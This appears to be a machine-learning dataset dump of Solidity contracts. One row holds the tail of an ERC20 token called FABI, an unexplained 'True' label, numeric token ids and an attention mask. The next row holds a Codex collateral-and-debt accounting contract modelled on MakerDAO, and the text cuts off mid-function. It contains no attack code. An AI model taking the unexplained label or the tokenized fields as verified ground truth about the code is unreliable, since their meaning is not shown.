Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount.
/// @param _from Address to transfer from.
/// @param _to Address to transfer to.
/// @param _value Amount to transfer.
/// @return Success of transfer.
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract FABIToken is UnboundedRegularToken {
uint public totalSupply = 1*10**13;
uint8 constant public decimals = 4;
string constant public name = "FABI";
string constant public symbol = "FB";
function FABIToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2539,
1025,
3206,
19204,
1063,
1013,
1013,
1013,
1030,
2709,
2561,
3815,
1997,
19204,
2015,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
4425,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
2013,
2029,
1996,
5703,
2097,
2022,
5140,
1013,
1013,
1013,
1030,
2709,
1996,
5703,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
5703,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2000,
1036,
1035,
2000,
1036,
2013,
1036,
1035,
2013,
1036,
2006,
1996,
4650,
2009,
2003,
4844,
2011,
1036,
1035,
2013,
1036,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2013,
1996,
4769,
1997,
1996,
4604,
2121,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
2000,
1996,
4769,
1997,
1996,
7799,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
19204,
2000,
2022,
4015,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
4651,
2001,
3144,
2030,
2025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
5060,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
14300,
2015,
1036,
1035,
5587,
2099,
1036,
2000,
5247,
1036,
1035,
3643,
1036,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3643,
1996,
3815,
1997,
11417,
2000,
2022,
4844,
2005,
4651,
1013,
1013,
1013,
1030,
2709,
3251,
1996,
6226,
2001,
3144,
2030,
2025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
3954,
1996,
4769,
1997,
1996,
4070,
19273,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
1035,
5247,
2121,
1996,
4769,
1997,
1996,
4070,
2583,
2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
2709,
3815,
1997,
3588,
19204,
2015,
3039,
2000,
2985,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
3588,
1007,
1063,
1065,
2724,
4651,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
1010,
21318,
3372,
1035,
3643,
1007,
1025,
1065,
3206,
3180,
18715,
2368,
2003,
19204,
1063,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.4;
// Copyright (C) 2018 Rain <[email protected]>
interface ICodex {
function init(address vault) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address,
bytes32,
uint256
) external;
function credit(address) external view returns (uint256);
function unbackedDebt(address) external view returns (uint256);
function balances(
address,
uint256,
address
) external view returns (uint256);
function vaults(address vault)
external
view
returns (
uint256 totalNormalDebt,
uint256 rate,
uint256 debtCeiling,
uint256 debtFloor
);
function positions(
address vault,
uint256 tokenId,
address position
) external view returns (uint256 collateral, uint256 normalDebt);
function globalDebt() external view returns (uint256);
function globalUnbackedDebt() external view returns (uint256);
function globalDebtCeiling() external view returns (uint256);
function delegates(address, address) external view returns (uint256);
function grantDelegate(address) external;
function revokeDelegate(address) external;
function modifyBalance(
address,
uint256,
address,
int256
) external;
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external;
function transferCredit(
address src,
address dst,
uint256 amount
) external;
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function settleUnbackedDebt(uint256 debt) external;
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external;
function modifyRate(
address vault,
address creditor,
int256 rate
) external;
function lock() external;
}interface IPriceFeed {
function peek() external returns (bytes32, bool);
function read() external view returns (bytes32);
}
interface ICollybus {
function vaults(address) external view returns (uint128, uint128);
function spots(address) external view returns (uint256);
function rates(uint256) external view returns (uint256);
function rateIds(address, uint256) external view returns (uint256);
function redemptionPrice() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint128 data
) external;
function setParam(
address vault,
uint256 tokenId,
bytes32 param,
uint256 data
) external;
function updateDiscountRate(uint256 rateId, uint256 rate) external;
function updateSpot(address token, uint256 spot) external;
function read(
address vault,
address underlier,
uint256 tokenId,
uint256 maturity,
bool net
) external view returns (uint256 price);
function lock() external;
}
interface IVault {
function codex() external view returns (ICodex);
function collybus() external view returns (ICollybus);
function token() external view returns (address);
function tokenScale() external view returns (uint256);
function underlierToken() external view returns (address);
function underlierScale() external view returns (uint256);
function vaultType() external view returns (bytes32);
function live() external view returns (uint256);
function lock() external;
function setParam(bytes32 param, address data) external;
function maturity(uint256 tokenId) external returns (uint256);
function fairPrice(
uint256 tokenId,
bool net,
bool face
) external view returns (uint256);
function enter(
uint256 tokenId,
address user,
uint256 amount
) external;
function exit(
uint256 tokenId,
address user,
uint256 amount
) external;
}
interface IGuarded {
function ANY_SIG() external view returns (bytes32);
function ANY_CALLER() external view returns (address);
function allowCaller(bytes32 sig, address who) external;
function blockCaller(bytes32 sig, address who) external;
function canCall(bytes32 sig, address who) external view returns (bool);
}
/// @title Guarded
/// @notice Mixin implementing an authentication scheme on a method level
abstract contract Guarded is IGuarded {
/// ======== Custom Errors ======== ///
error Guarded__notRoot();
error Guarded__notGranted();
/// ======== Storage ======== ///
/// @notice Wildcard for granting a caller to call every guarded method
bytes32 public constant override ANY_SIG = keccak256("ANY_SIG");
/// @notice Wildcard for granting a caller to call every guarded method
address public constant override ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER")))));
/// @notice Mapping storing who is granted to which method
/// @dev Method Signature => Caller => Bool
mapping(bytes32 => mapping(address => bool)) private _canCall;
/// ======== Events ======== ///
event AllowCaller(bytes32 sig, address who);
event BlockCaller(bytes32 sig, address who);
constructor() {
// set root
_setRoot(msg.sender);
}
/// ======== Auth ======== ///
modifier callerIsRoot() {
if (_canCall[ANY_SIG][msg.sender]) {
_;
} else revert Guarded__notRoot();
}
modifier checkCaller() {
if (canCall(msg.sig, msg.sender)) {
_;
} else revert Guarded__notGranted();
}
/// @notice Grant the right to call method `sig` to `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function allowCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = true;
emit AllowCaller(sig, who);
}
/// @notice Revoke the right to call method `sig` from `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should not be able to call `sig` anymore
function blockCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = false;
emit BlockCaller(sig, who);
}
/// @notice Returns if `who` can call `sig`
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function canCall(bytes32 sig, address who) public view override returns (bool) {
return (_canCall[sig][who] || _canCall[ANY_SIG][who] || _canCall[sig][ANY_CALLER]);
}
/// @notice Sets the root user (granted `ANY_SIG`)
/// @param root Address of who should be set as root
function _setRoot(address root) internal {
_canCall[ANY_SIG][root] = true;
emit AllowCaller(ANY_SIG, root);
}
/// @notice Unsets the root user (granted `ANY_SIG`)
/// @param root Address of who should be unset as root
function _unsetRoot(address root) internal {
_canCall[ANY_SIG][root] = false;
emit AllowCaller(ANY_SIG, root);
}
}// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
uint256 constant MLN = 10**6;
uint256 constant BLN = 10**9;
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**18;
uint256 constant RAD = 10**18;
/* solhint-disable func-visibility, no-inline-assembly */
error Math__toInt256_overflow(uint256 x);
function toInt256(uint256 x) pure returns (int256) {
if (x > uint256(type(int256).max)) revert Math__toInt256_overflow(x);
return int256(x);
}
function min(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x <= y ? x : y;
}
}
function max(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x >= y ? x : y;
}
}
error Math__diff_overflow(uint256 x, uint256 y);
function diff(uint256 x, uint256 y) pure returns (int256 z) {
unchecked {
z = int256(x) - int256(y);
if (!(int256(x) >= 0 && int256(y) >= 0)) revert Math__diff_overflow(x, y);
}
}
error Math__add_overflow(uint256 x, uint256 y);
function add(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x + y) < x) revert Math__add_overflow(x, y);
}
}
error Math__add48_overflow(uint256 x, uint256 y);
function add48(uint48 x, uint48 y) pure returns (uint48 z) {
unchecked {
if ((z = x + y) < x) revert Math__add48_overflow(x, y);
}
}
error Math__add_overflow_signed(uint256 x, int256 y);
function add(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x + uint256(y);
if (!(y >= 0 || z <= x)) revert Math__add_overflow_signed(x, y);
if (!(y <= 0 || z >= x)) revert Math__add_overflow_signed(x, y);
}
}
error Math__sub_overflow(uint256 x, uint256 y);
function sub(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x - y) > x) revert Math__sub_overflow(x, y);
}
}
error Math__sub_overflow_signed(uint256 x, int256 y);
function sub(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x - uint256(y);
if (!(y <= 0 || z <= x)) revert Math__sub_overflow_signed(x, y);
if (!(y >= 0 || z >= x)) revert Math__sub_overflow_signed(x, y);
}
}
error Math__mul_overflow(uint256 x, uint256 y);
function mul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (!(y == 0 || (z = x * y) / y == x)) revert Math__mul_overflow(x, y);
}
}
error Math__mul_overflow_signed(uint256 x, int256 y);
function mul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = int256(x) * y;
if (int256(x) < 0) revert Math__mul_overflow_signed(x, y);
if (!(y == 0 || z / y == int256(x))) revert Math__mul_overflow_signed(x, y);
}
}
function wmul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, y) / WAD;
}
}
function wmul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = mul(x, y) / int256(WAD);
}
}
error Math__div_overflow(uint256 x, uint256 y);
function div(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (y == 0) revert Math__div_overflow(x, y);
return x / y;
}
}
function wdiv(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, WAD) / y;
}
}
// optimized version from dss PR #78
function wpow(
uint256 x,
uint256 n,
uint256 b
) pure returns (uint256 z) {
unchecked {
assembly {
switch n
case 0 {
z := b
}
default {
switch x
case 0 {
z := 0
}
default {
switch mod(n, 2)
case 0 {
z := b
}
default {
z := x
}
let half := div(b, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if shr(128, x) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, b)
}
}
}
}
}
}
}
/* solhint-disable func-visibility, no-inline-assembly */
/// @title Codex
/// @notice `Codex` is responsible for the accounting of collateral and debt balances
/// Uses Vat.sol from DSS (MakerDAO) / SafeEngine.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Vat.sol / SafeEngine.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract Codex is Guarded, ICodex {
/// ======== Custom Errors ======== ///
error Codex__init_vaultAlreadyInit();
error Codex__setParam_notLive();
error Codex__setParam_unrecognizedParam();
error Codex__transferBalance_notAllowed();
error Codex__transferCredit_notAllowed();
error Codex__modifyCollateralAndDebt_notLive();
error Codex__modifyCollateralAndDebt_vaultNotInit();
error Codex__modifyCollateralAndDebt_ceilingExceeded();
error Codex__modifyCollateralAndDebt_notSafe();
error Codex__modifyCollateralAndDebt_notAllowedSender();
error Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
error Codex__modifyCollateralAndDebt_notAllowedDebtor();
error Codex__modifyCollateralAndDebt_debtFloor();
error Codex__transferCollateralAndDebt_notAllowed();
error Codex__transferCollateralAndDebt_notSafeSrc();
error Codex__transferCollateralAndDebt_notSafeDst();
error Codex__transferCollateralAndDebt_debtFloorSrc();
error Codex__transferCollateralAndDebt_debtFloorDst();
error Codex__modifyRate_notLive();
/// ======== Storage ======== ///
// Vault Data
struct Vault {
// Total Normalised Debt in Vault [wad]
uint256 totalNormalDebt;
// Vault's Accumulation Rate [wad]
uint256 rate;
// Vault's Debt Ceiling [wad]
uint256 debtCeiling;
// Debt Floor for Positions corresponding to this Vault [wad]
uint256 debtFloor;
}
// Position Data
struct Position {
// Locked Collateral in Position [wad]
uint256 collateral;
// Normalised Debt (gross debt before rate is applied) generated by Position [wad]
uint256 normalDebt;
}
/// @notice Map of delegatees who can modify collateral, debt and credit on behalf of a delegator
/// @dev Delegator => Delegatee => hasDelegate
mapping(address => mapping(address => uint256)) public override delegates;
/// @notice Vaults
/// @dev Vault => Vault Data
mapping(address => Vault) public override vaults;
/// @notice Positions
/// @dev Vault => TokenId => Owner => Position
mapping(address => mapping(uint256 => mapping(address => Position))) public override positions;
/// @notice Token balances not put up for collateral in a Position
/// @dev Vault => TokenId => Owner => Balance [wad]
mapping(address => mapping(uint256 => mapping(address => uint256))) public override balances;
/// @notice Credit balances
/// @dev Account => Credit [wad]
mapping(address => uint256) public override credit;
/// @notice Unbacked Debt balances
/// @dev Account => Unbacked Debt [wad]
mapping(address => uint256) public override unbackedDebt;
/// @notice Global Debt (incl. rate) outstanding == Credit Issued [wad]
uint256 public override globalDebt;
/// @notice Global Unbacked Debt (incl. rate) oustanding == Total Credit [wad]
uint256 public override globalUnbackedDebt;
/// @notice Global Debt Ceiling [wad]
uint256 public override globalDebtCeiling;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public live;
/// ======== Events ======== ///
event Init(address indexed vault);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event GrantDelegate(address indexed delegator, address indexed delegatee);
event RevokeDelegate(address indexed delegator, address indexed delegatee);
event ModifyBalance(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
int256 amount,
uint256 balance
);
event TransferBalance(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
uint256 amount,
uint256 srcBalance,
uint256 dstBalance
);
event TransferCredit(
address indexed src,
address indexed dst,
uint256 amount,
uint256 srcCredit,
uint256 dstCredit
);
event ModifyCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event TransferCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event ConfiscateCollateralAndDebt(
address indexed vault,
uint256 indexed tokenId,
address indexed user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
);
event SettleUnbackedDebt(address indexed debtor, uint256 debt);
event CreateUnbackedDebt(address indexed debtor, address indexed creditor, uint256 debt);
event ModifyRate(address indexed vault, address indexed creditor, int256 deltaRate);
event Lock();
constructor() Guarded() {
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
function init(address vault) external override checkCaller {
if (vaults[vault].rate != 0) revert Codex__init_vaultAlreadyInit();
vaults[vault].rate = WAD;
emit Init(vault);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "globalDebtCeiling") globalDebtCeiling = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (live == 0) revert Codex__setParam_notLive();
if (param == "debtCeiling") vaults[vault].debtCeiling = data;
else if (param == "debtFloor") vaults[vault].debtFloor = data;
else revert Codex__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// ======== Caller Delegation ======== ///
/// @notice Grants the delegatee the ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function grantDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 1;
emit GrantDelegate(msg.sender, delegatee);
}
/// @notice Revokes the delegatee's ability to modify collateral, debt and credit balances on behalf of the caller
/// @param delegatee Address of the delegatee
function revokeDelegate(address delegatee) external override {
delegates[msg.sender][delegatee] = 0;
emit RevokeDelegate(msg.sender, delegatee);
}
/// @notice Checks the delegate
/// @param delegator Address of the delegator
/// @param delegatee Address of the delegatee
/// @return True if delegate is granted
function hasDelegate(address delegator, address delegatee) internal view returns (bool) {
return delegator == delegatee || delegates[delegator][delegatee] == 1;
}
/// ======== Credit and Token Balance Administration ======== ///
/// @notice Updates the token balance for a `user`
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param amount Amount to add (positive) or subtract (negative) [wad]
function modifyBalance(
address vault,
uint256 tokenId,
address user,
int256 amount
) external override checkCaller {
balances[vault][tokenId][user] = add(balances[vault][tokenId][user], amount);
emit ModifyBalance(vault, tokenId, user, amount, balances[vault][tokenId][user]);
}
/// @notice Transfer an `amount` of tokens from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferBalance_notAllowed();
balances[vault][tokenId][src] = sub(balances[vault][tokenId][src], amount);
balances[vault][tokenId][dst] = add(balances[vault][tokenId][dst], amount);
emit TransferBalance(
vault,
tokenId,
src,
dst,
amount,
balances[vault][tokenId][src],
balances[vault][tokenId][dst]
);
}
/// @notice Transfer an `amount` of Credit from `src` to `dst`
/// @dev Sender has to be delegated by `src`
/// @param src From address
/// @param dst To address
/// @param amount Amount to be transferred [wad]
function transferCredit(
address src,
address dst,
uint256 amount
) external override {
if (!hasDelegate(src, msg.sender)) revert Codex__transferCredit_notAllowed();
credit[src] = sub(credit[src], amount);
credit[dst] = add(credit[dst], amount);
emit TransferCredit(src, dst, amount, credit[src], credit[dst]);
}
/// ======== Position Administration ======== ///
/// @notice Modifies a Position's collateral and debt balances
/// @dev Checks that the global debt ceiling and the vault's debt ceiling have not been exceeded,
/// that the Position is still safe after the modification,
/// that the sender is delegated by the owner if the collateral-to-debt ratio decreased,
/// that the sender is delegated by the collateralizer if new collateral is put up,
/// that the sender is delegated by the creditor if debt is settled,
/// and that the vault debt floor is exceeded
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param creditor Address of who provides or receives the credit delta for the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address creditor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
// system is live
if (live == 0) revert Codex__modifyCollateralAndDebt_notLive();
Position memory p = positions[vault][tokenId][user];
Vault memory v = vaults[vault];
// vault has been initialised
if (v.rate == 0) revert Codex__modifyCollateralAndDebt_vaultNotInit();
p.collateral = add(p.collateral, deltaCollateral);
p.normalDebt = add(p.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
uint256 debt = wmul(v.rate, p.normalDebt);
globalDebt = add(globalDebt, deltaDebt);
// either debt has decreased, or debt ceilings are not exceeded
if (deltaNormalDebt > 0 && (wmul(v.totalNormalDebt, v.rate) > v.debtCeiling || globalDebt > globalDebtCeiling))
revert Codex__modifyCollateralAndDebt_ceilingExceeded();
// position is either less risky than before, or it is safe
if (
(deltaNormalDebt > 0 || deltaCollateral < 0) &&
debt > wmul(p.collateral, IVault(vault).fairPrice(tokenId, true, false))
) revert Codex__modifyCollateralAndDebt_notSafe();
// position is either more safe, or the owner consents
if ((deltaNormalDebt > 0 || deltaCollateral < 0) && !hasDelegate(user, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedSender();
// collateralizer consents if new collateral is put up
if (deltaCollateral > 0 && !hasDelegate(collateralizer, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
// creditor consents if debt is settled with credit
if (deltaNormalDebt < 0 && !hasDelegate(creditor, msg.sender))
revert Codex__modifyCollateralAndDebt_notAllowedDebtor();
// position has no debt, or a non-dusty amount
if (p.normalDebt != 0 && debt < v.debtFloor) revert Codex__modifyCollateralAndDebt_debtFloor();
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
credit[creditor] = add(credit[creditor], deltaDebt);
positions[vault][tokenId][user] = p;
vaults[vault] = v;
emit ModifyCollateralAndDebt(vault, tokenId, user, collateralizer, creditor, deltaCollateral, deltaNormalDebt);
}
/// @notice Transfers a Position's collateral and debt balances to another Position
/// @dev Checks that the sender is delegated by `src` and `dst` Position owners,
/// that the `src` and `dst` Positions are still safe after the transfer,
/// and that the `src` and `dst` Positions' debt exceed the vault's debt floor
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param src Address of the `src` Positions owner
/// @param dst Address of the `dst` Positions owner
/// @param deltaCollateral Amount of collateral to send to (+) or from (-) the `src` Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to send to (+) or
/// from (-) the `dst` Position [wad]
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override {
Position storage pSrc = positions[vault][tokenId][src];
Position storage pDst = positions[vault][tokenId][dst];
Vault storage v = vaults[vault];
pSrc.collateral = sub(pSrc.collateral, deltaCollateral);
pSrc.normalDebt = sub(pSrc.normalDebt, deltaNormalDebt);
pDst.collateral = add(pDst.collateral, deltaCollateral);
pDst.normalDebt = add(pDst.normalDebt, deltaNormalDebt);
uint256 debtSrc = wmul(pSrc.normalDebt, v.rate);
